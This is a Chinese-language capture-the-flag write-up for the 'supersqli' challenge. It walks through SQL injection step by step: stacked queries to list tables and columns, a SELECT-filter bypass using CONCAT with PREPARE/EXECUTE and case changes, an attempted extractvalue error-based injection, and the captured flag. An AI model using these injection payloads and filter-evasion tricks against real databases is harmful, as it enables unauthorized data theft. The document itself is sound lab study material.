zoukankan      html  css  js  c++  java
  • supersqli

    supersqli

    输入'有报错
    输入"正常
    说明存在注入点

    order by语句可以使用,且判断为两个字段
    考虑联合注入,但是发现select语句不能用,考虑绕过select,那么可以使用预编译

    但是惊人的发现可以使用堆叠注入,这个使用条件比较有限,但是危害非常的大。一步步查询,找到flag:

    爆表
    -1';show tables #

    得知有如下两个表:
    1919810931114514
    words

    爆字段:
    -1';show columns from 1919810931114514 --+
    发现有flag字段,而words表没有flag字段:

    爆数据:
    由于过滤了select,我们可以选中预编译执行
    -1';

    set @sql = CONCAT('se','lect * from 1919810931114514;');

    prepare stmt from @sql;

    EXECUTE stmt; #

    发现过滤prepare和set,那么可以首先考虑大小写或双写来绕过,大小写成功绕过

    也有输出位,也可以考虑一手报错注入,不一定人云亦云,人要有自己的思考。

    -1' and extractvalue('1',concat('~',concat('se','lect * from 1919810931114514')))#

    有点遗憾,还是没有爆出来,各位也可以再尝试尝试

    flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}

  • 相关阅读:
    (7)常量和变量
    (6)python基础数据类型
    PEP8规范
    (5)原码反码补码
    (4)二八十六进制转换
    (3)你的第一个python程序
    (2)python开发环境搭建
    几种常见的开发语言对比
    (1)python的基础认知
    (25)线程---local数据隔离
  • 原文地址:https://www.cnblogs.com/sillage/p/13929580.html
Copyright © 2011-2022 走看看